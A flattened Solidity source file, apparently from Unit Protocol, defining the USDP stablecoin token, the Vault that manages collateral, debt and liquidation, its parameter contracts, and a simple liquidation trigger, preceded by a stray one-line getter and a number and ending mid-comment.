function getTokenTransferProxyAddress() external view returns (address) { return TOKEN_TRANSFER_PROXY_CONTRACT; }
958,661
// File: contracts/helpers/ERC20Like.sol // SPDX-License-Identifier: bsl-1.1 /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; interface ERC20Like { function balanceOf(address) external view returns (uint); function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function totalSupply() external view returns (uint256); } // File: contracts/helpers/ReentrancyGuard.sol pragma solidity ^0.7.1; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: contracts/helpers/SafeMath.sol /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: division by zero"); return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/VaultParameters.sol /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; /** * @title Auth * @author Unit Protocol: Artem Zakharov ([email protected]), Alexander Ponomorev (@bcngod) * @dev Manages USDP's system access **/ contract Auth { // address of the the contract with vault parameters VaultParameters public vaultParameters; constructor(address _parameters) public { vaultParameters = VaultParameters(_parameters); } // ensures tx's sender is a manager modifier onlyManager() { require(vaultParameters.isManager(msg.sender), "Unit Protocol: AUTH_FAILED"); _; } // ensures tx's sender is able to modify the Vault modifier hasVaultAccess() { require(vaultParameters.canModifyVault(msg.sender), "Unit Protocol: AUTH_FAILED"); _; } // ensures tx's sender is the Vault modifier onlyVault() { require(msg.sender == vaultParameters.vault(), "Unit Protocol: AUTH_FAILED"); _; } } /** * @title VaultParameters * @author Unit Protocol: Artem Zakharov ([email protected]), Alexander Ponomorev (@bcngod) **/ contract VaultParameters is Auth { // map token to stability fee percentage; 3 decimals mapping(address => uint) public stabilityFee; // map token to liquidation fee percentage, 0 decimals mapping(address => uint) public liquidationFee; // map token to USDP mint limit mapping(address => uint) public tokenDebtLimit; // permissions to modify the Vault mapping(address => bool) public canModifyVault; // managers mapping(address => bool) public isManager; // enabled oracle types mapping(uint => mapping (address => bool)) public isOracleTypeEnabled; // address of the Vault address payable public vault; // The foundation address address public foundation; /** * The address for an Ethereum contract is deterministically computed from the address of its creator (sender) * and how many transactions the creator has sent (nonce). The sender and nonce are RLP encoded and then * hashed with Keccak-256. * Therefore, the Vault address can be pre-computed and passed as an argument before deployment. **/ constructor(address payable _vault, address _foundation) public Auth(address(this)) { require(_vault != address(0), "Unit Protocol: ZERO_ADDRESS"); require(_foundation != address(0), "Unit Protocol: ZERO_ADDRESS"); isManager[msg.sender] = true; vault = _vault; foundation = _foundation; } /** * @notice Only manager is able to call this function * @dev Grants and revokes manager's status of any address * @param who The target address * @param permit The permission flag **/ function setManager(address who, bool permit) external onlyManager { isManager[who] = permit; } /** * @notice Only manager is able to call this function * @dev Sets the foundation address * @param newFoundation The new foundation address **/ function setFoundation(address newFoundation) external onlyManager { require(newFoundation != address(0), "Unit Protocol: ZERO_ADDRESS"); foundation = newFoundation; } /** * @notice Only manager is able to call this function * @dev Sets ability to use token as the main collateral * @param asset The address of the main collateral token * @param stabilityFeeValue The percentage of the year stability fee (3 decimals) * @param liquidationFeeValue The liquidation fee percentage (0 decimals) * @param usdpLimit The USDP token issue limit * @param oracles The enables oracle types **/ function setCollateral( address asset, uint stabilityFeeValue, uint liquidationFeeValue, uint usdpLimit, uint[] calldata oracles ) external onlyManager { setStabilityFee(asset, stabilityFeeValue); setLiquidationFee(asset, liquidationFeeValue); setTokenDebtLimit(asset, usdpLimit); for (uint i=0; i < oracles.length; i++) { setOracleType(oracles[i], asset, true); } } /** * @notice Only manager is able to call this function * @dev Sets a permission for an address to modify the Vault * @param who The target address * @param permit The permission flag **/ function setVaultAccess(address who, bool permit) external onlyManager { canModifyVault[who] = permit; } /** * @notice Only manager is able to call this function * @dev Sets the percentage of the year stability fee for a particular collateral * @param asset The address of the main collateral token * @param newValue The stability fee percentage (3 decimals) **/ function setStabilityFee(address asset, uint newValue) public onlyManager { stabilityFee[asset] = newValue; } /** * @notice Only manager is able to call this function * @dev Sets the percentage of the liquidation fee for a particular collateral * @param asset The address of the main collateral token * @param newValue The liquidation fee percentage (0 decimals) **/ function setLiquidationFee(address asset, uint newValue) public onlyManager { require(newValue <= 100, "Unit Protocol: VALUE_OUT_OF_RANGE"); liquidationFee[asset] = newValue; } /** * @notice Only manager is able to call this function * @dev Enables/disables oracle types * @param _type The type of the oracle * @param asset The address of the main collateral token * @param enabled The control flag **/ function setOracleType(uint _type, address asset, bool enabled) public onlyManager { isOracleTypeEnabled[_type][asset] = enabled; } /** * @notice Only manager is able to call this function * @dev Sets USDP limit for a specific collateral * @param asset The address of the main collateral token * @param limit The limit number **/ function setTokenDebtLimit(address asset, uint limit) public onlyManager { tokenDebtLimit[asset] = limit; } } // File: contracts/helpers/TransferHelper.sol /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File: contracts/USDP.sol /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; /** * @title USDP token implementation * @author Unit Protocol: Artem Zakharov ([email protected]), Alexander Ponomorev (@bcngod) * @dev ERC20 token **/ contract USDP is Auth { using SafeMath for uint; // name of the token string public constant name = "USDP Stablecoin"; // symbol of the token string public constant symbol = "USDP"; // version of the token string public constant version = "1"; // number of decimals the token uses uint8 public constant decimals = 18; // total token supply uint public totalSupply; // balance information map mapping(address => uint) public balanceOf; // token allowance mapping mapping(address => mapping(address => uint)) public allowance; /** * @dev Trigger on any successful call to approve(address spender, uint amount) **/ event Approval(address indexed owner, address indexed spender, uint value); /** * @dev Trigger when tokens are transferred, including zero value transfers **/ event Transfer(address indexed from, address indexed to, uint value); /** * @param _parameters The address of system parameters contract **/ constructor(address _parameters) public Auth(_parameters) {} /** * @notice Only Vault can mint USDP * @dev Mints 'amount' of tokens to address 'to', and MUST fire the * Transfer event * @param to The address of the recipient * @param amount The amount of token to be minted **/ function mint(address to, uint amount) external onlyVault { require(to != address(0), "Unit Protocol: ZERO_ADDRESS"); balanceOf[to] = balanceOf[to].add(amount); totalSupply = totalSupply.add(amount); emit Transfer(address(0), to, amount); } /** * @notice Only manager can burn tokens from manager's balance * @dev Burns 'amount' of tokens, and MUST fire the Transfer event * @param amount The amount of token to be burned **/ function burn(uint amount) external onlyManager { _burn(msg.sender, amount); } /** * @notice Only Vault can burn tokens from any balance * @dev Burns 'amount' of tokens from 'from' address, and MUST fire the Transfer event * @param from The address of the balance owner * @param amount The amount of token to be burned **/ function burn(address from, uint amount) external onlyVault { _burn(from, amount); } /** * @dev Transfers 'amount' of tokens to address 'to', and MUST fire the Transfer event. The * function SHOULD throw if the _from account balance does not have enough tokens to spend. * @param to The address of the recipient * @param amount The amount of token to be transferred **/ function transfer(address to, uint amount) external returns (bool) { return transferFrom(msg.sender, to, amount); } /** * @dev Transfers 'amount' of tokens from address 'from' to address 'to', and MUST fire the * Transfer event * @param from The address of the sender * @param to The address of the recipient * @param amount The amount of token to be transferred **/ function transferFrom(address from, address to, uint amount) public returns (bool) { require(to != address(0), "Unit Protocol: ZERO_ADDRESS"); require(balanceOf[from] >= amount, "Unit Protocol: INSUFFICIENT_BALANCE"); if (from != msg.sender) { require(allowance[from][msg.sender] >= amount, "Unit Protocol: INSUFFICIENT_ALLOWANCE"); _approve(from, msg.sender, allowance[from][msg.sender].sub(amount)); } balanceOf[from] = balanceOf[from].sub(amount); balanceOf[to] = balanceOf[to].add(amount); emit Transfer(from, to, amount); return true; } /** * @dev Allows 'spender' to withdraw from your account multiple times, up to the 'amount' amount. If * this function is called again it overwrites the current allowance with 'amount'. * @param spender The address of the account able to transfer the tokens * @param amount The amount of tokens to be approved for transfer **/ function approve(address spender, uint amount) external returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint addedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowance[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowance[msg.sender][spender].sub(subtractedValue)); return true; } function _approve(address owner, address spender, uint amount) internal virtual { require(owner != address(0), "Unit Protocol: approve from the zero address"); require(spender != address(0), "Unit Protocol: approve to the zero address"); allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burn(address from, uint amount) internal virtual { balanceOf[from] = balanceOf[from].sub(amount); totalSupply = totalSupply.sub(amount); emit Transfer(from, address(0), amount); } } // File: contracts/helpers/IWETH.sol /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } // File: contracts/Vault.sol /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; /** * @title Vault * @author Unit Protocol: Artem Zakharov ([email protected]), Alexander Ponomorev (@bcngod) * @notice Vault is the core of Unit Protocol USDP Stablecoin system * @notice Vault stores and manages collateral funds of all positions and counts debts * @notice Only Vault can manage supply of USDP token * @notice Vault will not be changed/upgraded after initial deployment for the current stablecoin version **/ contract Vault is Auth { using SafeMath for uint; // COL token address address public immutable col; // WETH token address address payable public immutable weth; uint public constant DENOMINATOR_1E5 = 1e5; uint public constant DENOMINATOR_1E2 = 1e2; // USDP token address address public immutable usdp; // collaterals whitelist mapping(address => mapping(address => uint)) public collaterals; // COL token collaterals mapping(address => mapping(address => uint)) public colToken; // user debts mapping(address => mapping(address => uint)) public debts; // block number of liquidation trigger mapping(address => mapping(address => uint)) public liquidationBlock; // initial price of collateral mapping(address => mapping(address => uint)) public liquidationPrice; // debts of tokens mapping(address => uint) public tokenDebts; // stability fee pinned to each position mapping(address => mapping(address => uint)) public stabilityFee; // liquidation fee pinned to each position, 0 decimals mapping(address => mapping(address => uint)) public liquidationFee; // type of using oracle pinned for each position mapping(address => mapping(address => uint)) public oracleType; // timestamp of the last update mapping(address => mapping(address => uint)) public lastUpdate; modifier notLiquidating(address asset, address user) { require(liquidationBlock[asset][user] == 0, "Unit Protocol: LIQUIDATING_POSITION"); _; } /** * @param _parameters The address of the system parameters * @param _col COL token address * @param _usdp USDP token address **/ constructor(address _parameters, address _col, address _usdp, address payable _weth) public Auth(_parameters) { col = _col; usdp = _usdp; weth = _weth; } // only accept ETH via fallback from the WETH contract receive() external payable { require(msg.sender == weth, "Unit Protocol: RESTRICTED"); } /** * @dev Updates parameters of the position to the current ones * @param asset The address of the main collateral token * @param user The owner of a position **/ function update(address asset, address user) public hasVaultAccess notLiquidating(asset, user) { // calculate fee using stored stability fee uint debtWithFee = getTotalDebt(asset, user); tokenDebts[asset] = tokenDebts[asset].sub(debts[asset][user]).add(debtWithFee); debts[asset][user] = debtWithFee; stabilityFee[asset][user] = vaultParameters.stabilityFee(asset); liquidationFee[asset][user] = vaultParameters.liquidationFee(asset); lastUpdate[asset][user] = block.timestamp; } /** * @dev Creates new position for user * @param asset The address of the main collateral token * @param user The address of a position's owner * @param _oracleType The type of an oracle **/ function spawn(address asset, address user, uint _oracleType) external hasVaultAccess notLiquidating(asset, user) { oracleType[asset][user] = _oracleType; delete liquidationBlock[asset][user]; } /** * @dev Clears unused storage variables * @param asset The address of the main collateral token * @param user The address of a position's owner **/ function destroy(address asset, address user) public hasVaultAccess notLiquidating(asset, user) { delete stabilityFee[asset][user]; delete oracleType[asset][user]; delete lastUpdate[asset][user]; delete liquidationFee[asset][user]; } /** * @notice Tokens must be pre-approved * @dev Adds main collateral to a position * @param asset The address of the main collateral token * @param user The address of a position's owner * @param amount The amount of tokens to deposit **/ function depositMain(address asset, address user, uint amount) external hasVaultAccess notLiquidating(asset, user) { collaterals[asset][user] = collaterals[asset][user].add(amount); TransferHelper.safeTransferFrom(asset, user, address(this), amount); } /** * @dev Converts ETH to WETH and adds main collateral to a position * @param user The address of a position's owner **/ function depositEth(address user) external payable notLiquidating(weth, user) { IWETH(weth).deposit{value: msg.value}(); collaterals[weth][user] = collaterals[weth][user].add(msg.value); } /** * @dev Withdraws main collateral from a position * @param asset The address of the main collateral token * @param user The address of a position's owner * @param amount The amount of tokens to withdraw **/ function withdrawMain(address asset, address user, uint amount) external hasVaultAccess notLiquidating(asset, user) { collaterals[asset][user] = collaterals[asset][user].sub(amount); TransferHelper.safeTransfer(asset, user, amount); } /** * @dev Withdraws WETH collateral from a position converting WETH to ETH * @param user The address of a position's owner * @param amount The amount of ETH to withdraw **/ function withdrawEth(address payable user, uint amount) external hasVaultAccess notLiquidating(weth, user) { collaterals[weth][user] = collaterals[weth][user].sub(amount); IWETH(weth).withdraw(amount); TransferHelper.safeTransferETH(user, amount); } /** * @notice Tokens must be pre-approved * @dev Adds COL token to a position * @param asset The address of the main collateral token * @param user The address of a position's owner * @param amount The amount of tokens to deposit **/ function depositCol(address asset, address user, uint amount) external hasVaultAccess notLiquidating(asset, user) { colToken[asset][user] = colToken[asset][user].add(amount); TransferHelper.safeTransferFrom(col, user, address(this), amount); } /** * @dev Withdraws COL token from a position * @param asset The address of the main collateral token * @param user The address of a position's owner * @param amount The amount of tokens to withdraw **/ function withdrawCol(address asset, address user, uint amount) external hasVaultAccess notLiquidating(asset, user) { colToken[asset][user] = colToken[asset][user].sub(amount); TransferHelper.safeTransfer(col, user, amount); } /** * @dev Increases position's debt and mints USDP token * @param asset The address of the main collateral token * @param user The address of a position's owner * @param amount The amount of USDP to borrow **/ function borrow( address asset, address user, uint amount ) external hasVaultAccess notLiquidating(asset, user) returns(uint) { require(vaultParameters.isOracleTypeEnabled(oracleType[asset][user], asset), "Unit Protocol: WRONG_ORACLE_TYPE"); update(asset, user); debts[asset][user] = debts[asset][user].add(amount); tokenDebts[asset] = tokenDebts[asset].add(amount); // check USDP limit for token require(tokenDebts[asset] <= vaultParameters.tokenDebtLimit(asset), "Unit Protocol: ASSET_DEBT_LIMIT"); USDP(usdp).mint(user, amount); return debts[asset][user]; } /** * @dev Decreases position's debt and burns USDP token * @param asset The address of the main collateral token * @param user The address of a position's owner * @param amount The amount of USDP to repay * @return updated debt of a position **/ function repay( address asset, address user, uint amount ) external hasVaultAccess notLiquidating(asset, user) returns(uint) { uint debt = debts[asset][user]; debts[asset][user] = debt.sub(amount); tokenDebts[asset] = tokenDebts[asset].sub(amount); USDP(usdp).burn(user, amount); return debts[asset][user]; } /** * @dev Transfers fee to foundation * @param asset The address of the fee asset * @param user The address to transfer funds from * @param amount The amount of asset to transfer **/ function chargeFee(address asset, address user, uint amount) external hasVaultAccess notLiquidating(asset, user) { if (amount != 0) { TransferHelper.safeTransferFrom(asset, user, vaultParameters.foundation(), amount); } } /** * @dev Deletes position and transfers collateral to liquidation system * @param asset The address of the main collateral token * @param positionOwner The address of a position's owner * @param initialPrice The starting price of collateral in USDP **/ function triggerLiquidation( address asset, address positionOwner, uint initialPrice ) external hasVaultAccess notLiquidating(asset, positionOwner) { // reverts if oracle type is disabled require(vaultParameters.isOracleTypeEnabled(oracleType[asset][positionOwner], asset), "Unit Protocol: WRONG_ORACLE_TYPE"); // fix the debt debts[asset][positionOwner] = getTotalDebt(asset, positionOwner); liquidationBlock[asset][positionOwner] = block.number; liquidationPrice[asset][positionOwner] = initialPrice; } /** * @dev Internal liquidation process * @param asset The address of the main collateral token * @param positionOwner The address of a position's owner * @param mainAssetToLiquidator The amount of main asset to send to a liquidator * @param colToLiquidator The amount of COL to send to a liquidator * @param mainAssetToPositionOwner The amount of main asset to send to a position owner * @param colToPositionOwner The amount of COL to send to a position owner * @param repayment The repayment in USDP * @param penalty The liquidation penalty in USDP * @param liquidator The address of a liquidator **/ function liquidate( address asset, address positionOwner, uint mainAssetToLiquidator, uint colToLiquidator, uint mainAssetToPositionOwner, uint colToPositionOwner, uint repayment, uint penalty, address liquidator ) external hasVaultAccess { require(liquidationBlock[asset][positionOwner] != 0, "Unit Protocol: NOT_TRIGGERED_LIQUIDATION"); uint mainAssetInPosition = collaterals[asset][positionOwner]; uint mainAssetToFoundation = mainAssetInPosition.sub(mainAssetToLiquidator).sub(mainAssetToPositionOwner); uint colInPosition = colToken[asset][positionOwner]; uint colToFoundation = colInPosition.sub(colToLiquidator).sub(colToPositionOwner); delete liquidationPrice[asset][positionOwner]; delete liquidationBlock[asset][positionOwner]; delete debts[asset][positionOwner]; delete collaterals[asset][positionOwner]; delete colToken[asset][positionOwner]; destroy(asset, positionOwner); // charge liquidation fee and burn USDP if (repayment > penalty) { if (penalty != 0) { TransferHelper.safeTransferFrom(usdp, liquidator, vaultParameters.foundation(), penalty); } USDP(usdp).burn(liquidator, repayment.sub(penalty)); } else { if (repayment != 0) { TransferHelper.safeTransferFrom(usdp, liquidator, vaultParameters.foundation(), repayment); } } // send the part of collateral to a liquidator if (mainAssetToLiquidator != 0) { TransferHelper.safeTransfer(asset, liquidator, mainAssetToLiquidator); } if (colToLiquidator != 0) { TransferHelper.safeTransfer(col, liquidator, colToLiquidator); } // send the rest of collateral to a position owner if (mainAssetToPositionOwner != 0) { TransferHelper.safeTransfer(asset, positionOwner, mainAssetToPositionOwner); } if (colToPositionOwner != 0) { TransferHelper.safeTransfer(col, positionOwner, colToPositionOwner); } if (mainAssetToFoundation != 0) { TransferHelper.safeTransfer(asset, vaultParameters.foundation(), mainAssetToFoundation); } if (colToFoundation != 0) { TransferHelper.safeTransfer(col, vaultParameters.foundation(), colToFoundation); } } /** * @notice Only manager can call this function * @dev Changes broken oracle type to the correct one * @param asset The address of the main collateral token * @param user The address of a position's owner * @param newOracleType The new type of an oracle **/ function changeOracleType(address asset, address user, uint newOracleType) external onlyManager { oracleType[asset][user] = newOracleType; } /** * @dev Calculates the total amount of position's debt based on elapsed time * @param asset The address of the main collateral token * @param user The address of a position's owner * @return user debt of a position plus accumulated fee **/ function getTotalDebt(address asset, address user) public view returns (uint) { uint debt = debts[asset][user]; if (liquidationBlock[asset][user] != 0) return debt; uint fee = calculateFee(asset, user, debt); return debt.add(fee); } /** * @dev Calculates the amount of fee based on elapsed time and repayment amount * @param asset The address of the main collateral token * @param user The address of a position's owner * @param amount The repayment amount * @return fee amount **/ function calculateFee(address asset, address user, uint amount) public view returns (uint) { uint sFeePercent = stabilityFee[asset][user]; uint timePast = block.timestamp.sub(lastUpdate[asset][user]); return amount.mul(sFeePercent).mul(timePast).div(365 days).div(DENOMINATOR_1E5); } } // File: contracts/vault-managers/VaultManagerParameters.sol /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; /** * @title VaultManagerParameters **/ contract VaultManagerParameters is Auth { // determines the minimum percentage of COL token part in collateral, 0 decimals mapping(address => uint) public minColPercent; // determines the maximum percentage of COL token part in collateral, 0 decimals mapping(address => uint) public maxColPercent; // map token to initial collateralization ratio; 0 decimals mapping(address => uint) public initialCollateralRatio; // map token to liquidation ratio; 0 decimals mapping(address => uint) public liquidationRatio; // map token to liquidation discount; 3 decimals mapping(address => uint) public liquidationDiscount; // map token to devaluation period in blocks mapping(address => uint) public devaluationPeriod; constructor(address _vaultParameters) public Auth(_vaultParameters) {} /** * @notice Only manager is able to call this function * @dev Sets ability to use token as the main collateral * @param asset The address of the main collateral token * @param stabilityFeeValue The percentage of the year stability fee (3 decimals) * @param liquidationFeeValue The liquidation fee percentage (0 decimals) * @param initialCollateralRatioValue The initial collateralization ratio * @param liquidationRatioValue The liquidation ratio * @param liquidationDiscountValue The liquidation discount (3 decimals) * @param devaluationPeriodValue The devaluation period in blocks * @param usdpLimit The USDP token issue limit * @param oracles The enabled oracles type IDs * @param minColP The min percentage of COL value in position (0 decimals) * @param maxColP The max percentage of COL value in position (0 decimals) **/ function setCollateral( address asset, uint stabilityFeeValue, uint liquidationFeeValue, uint initialCollateralRatioValue, uint liquidationRatioValue, uint liquidationDiscountValue, uint devaluationPeriodValue, uint usdpLimit, uint[] calldata oracles, uint minColP, uint maxColP ) external onlyManager { vaultParameters.setCollateral(asset, stabilityFeeValue, liquidationFeeValue, usdpLimit, oracles); setInitialCollateralRatio(asset, initialCollateralRatioValue); setLiquidationRatio(asset, liquidationRatioValue); setDevaluationPeriod(asset, devaluationPeriodValue); setLiquidationDiscount(asset, liquidationDiscountValue); setColPartRange(asset, minColP, maxColP); } /** * @notice Only manager is able to call this function * @dev Sets the initial collateral ratio * @param asset The address of the main collateral token * @param newValue The collateralization ratio (0 decimals) **/ function setInitialCollateralRatio(address asset, uint newValue) public onlyManager { require(newValue != 0 && newValue <= 100, "Unit Protocol: INCORRECT_COLLATERALIZATION_VALUE"); initialCollateralRatio[asset] = newValue; } /** * @notice Only manager is able to call this function * @dev Sets the liquidation ratio * @param asset The address of the main collateral token * @param newValue The liquidation ratio (0 decimals) **/ function setLiquidationRatio(address asset, uint newValue) public onlyManager { require(newValue != 0 && newValue >= initialCollateralRatio[asset], "Unit Protocol: INCORRECT_COLLATERALIZATION_VALUE"); liquidationRatio[asset] = newValue; } /** * @notice Only manager is able to call this function * @dev Sets the liquidation discount * @param asset The address of the main collateral token * @param newValue The liquidation discount (3 decimals) **/ function setLiquidationDiscount(address asset, uint newValue) public onlyManager { require(newValue < 1e5, "Unit Protocol: INCORRECT_DISCOUNT_VALUE"); liquidationDiscount[asset] = newValue; } /** * @notice Only manager is able to call this function * @dev Sets the devaluation period of collateral after liquidation * @param asset The address of the main collateral token * @param newValue The devaluation period in blocks **/ function setDevaluationPeriod(address asset, uint newValue) public onlyManager { require(newValue != 0, "Unit Protocol: INCORRECT_DEVALUATION_VALUE"); devaluationPeriod[asset] = newValue; } /** * @notice Only manager is able to call this function * @dev Sets the percentage range of the COL token part for specific collateral token * @param asset The address of the main collateral token * @param min The min percentage (0 decimals) * @param max The max percentage (0 decimals) **/ function setColPartRange(address asset, uint min, uint max) public onlyManager { require(max <= 100 && min <= max, "Unit Protocol: WRONG_RANGE"); minColPercent[asset] = min; maxColPercent[asset] = max; } } // File: contracts/liquidators/LiquidationTriggerBase.sol /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; /** * @title LiquidationTriggerSimple * @dev Manages triggering of liquidation process **/ abstract contract LiquidationTriggerBase { using SafeMath for uint; uint public constant DENOMINATOR_1E5 = 1e5; uint public constant DENOMINATOR_1E2 = 1e2; // vault manager parameters contract VaultManagerParameters public immutable vaultManagerParameters; uint public immutable oracleType; // Vault contract Vault public immutable vault; /** * @dev Trigger when liquidations are initiated **/ event LiquidationTriggered(address indexed token, address indexed user); /** * @param _vaultManagerParameters The address of the contract with vault manager parameters * @param _oracleType The id of the oracle type **/ constructor(address _vaultManagerParameters, uint _oracleType) internal { vaultManagerParameters = VaultManagerParameters(_vaultManagerParameters); vault = Vault(VaultManagerParameters(_vaultManagerParameters).vaultParameters().vault()); oracleType = _oracleType; } /** * @dev Triggers liquidation of a position * @param asset The address of the main collateral token of a position * @param user The owner of a position **/ function triggerLiquidation(address asset, address user) external virtual {} /** * @dev Determines whether a position is liquidatable * @param asset The address of the main collateral token of a position * @param user The owner of a position * @param collateralUsdValue USD value of the collateral * @return boolean value, whether a position is liquidatable **/ function isLiquidatablePosition( address asset, address user, uint collateralUsdValue ) public virtual view returns (bool); /** * @dev Calculates position's utilization ratio * @param collateralUsdValue USD value of collateral * @param debt USDP borrowed * @return utilization ratio of a position **/ function UR(uint collateralUsdValue, uint debt) public virtual pure returns (uint); } // File: contracts/oracles/OracleSimple.sol /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; /** * @title OracleSimple **/ abstract contract OracleSimple { function assetToUsd(address asset, uint amount) public virtual view returns (uint); } /** * @title OracleSimplePoolToken **/ abstract contract OracleSimplePoolToken is OracleSimple { ChainlinkedOracleSimple public oracleMainAsset; } /** * @title ChainlinkedOracleSimple **/ abstract contract ChainlinkedOracleSimple is OracleSimple { address public WETH; function ethToUsd(uint ethAmount) public virtual view returns (uint); function assetToEth(address asset, uint amount) public virtual view returns (uint); } // File: contracts/liquidators/LiquidationTriggerSimple.sol /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.7.1; pragma experimental ABIEncoderV2; /** * @title LiquidationTriggerSimple * @dev Manages liquidation triggering **/ contract LiquidationTriggerSimple is LiquidationTriggerBase, ReentrancyGuard { using SafeMath for uint; OracleSimple public immutable oracle; uint public constant Q112 = 2**112; /** * @param _vaultManagerParameters The address of the contract with vault manager parameters * @param _oracle The address of simple oracle * @param _oracleType The id of the oracle type **/ constructor( address _vaultManagerParameters, address _oracle, uint _oracleType ) public LiquidationTriggerBase(_vaultManagerParameters, _oracleType) { oracle = OracleSimple(_oracle); } /** * @dev Determines whether a position is liquidatable * @param asset The address of the main collateral token of a position * @param user The owner of a position * @param mainUsdValue_q112 Q112-encoded USD value of the main collateral * @return boolean value, whether a position is liquidatable **/ function isLiquidatablePosition( address asset, address user, uint mainUsdValue_q112 ) public override view returns (bool){ uint debt = vault.getTotalDebt(asset, user); // position is collateralized if there is no debt if (debt == 0) return false; require(vault.oracleType(asset, user) == oracleType, "Unit Protocol: INCORRECT_ORACLE_TYPE"); return UR(mainUsdValue_q112, debt) >= vaultManagerParameters.liquidationRatio(asset); } /** * @dev Triggers liquidation of a position * @param asset The address of the main collateral token of a position * @param user The owner of a position **/ function triggerLiquidation(address asset, address user) public override nonReentrant { // USD value of the main collateral uint mainUsdValue_q112 = oracle.assetToUsd(asset, vault.collaterals(asset, user)); // reverts if a position is not liquidatable require(isLiquidatablePosition(asset, user, mainUsdValue_q112), "Unit Protocol: SAFE_POSITION"); uint liquidationDiscount_q112 = mainUsdValue_q112.mul( vaultManagerParameters.liquidationDiscount(asset) ).div(DENOMINATOR_1E5); uint initialLiquidationPrice = mainUsdValue_q112.sub(liquidationDiscount_q112).div(Q112); // sends liquidation command to the Vault vault.triggerLiquidation(asset, user, initialLiquidationPrice); // fire an liquidation event emit LiquidationTriggered(asset, user); } /** * @dev 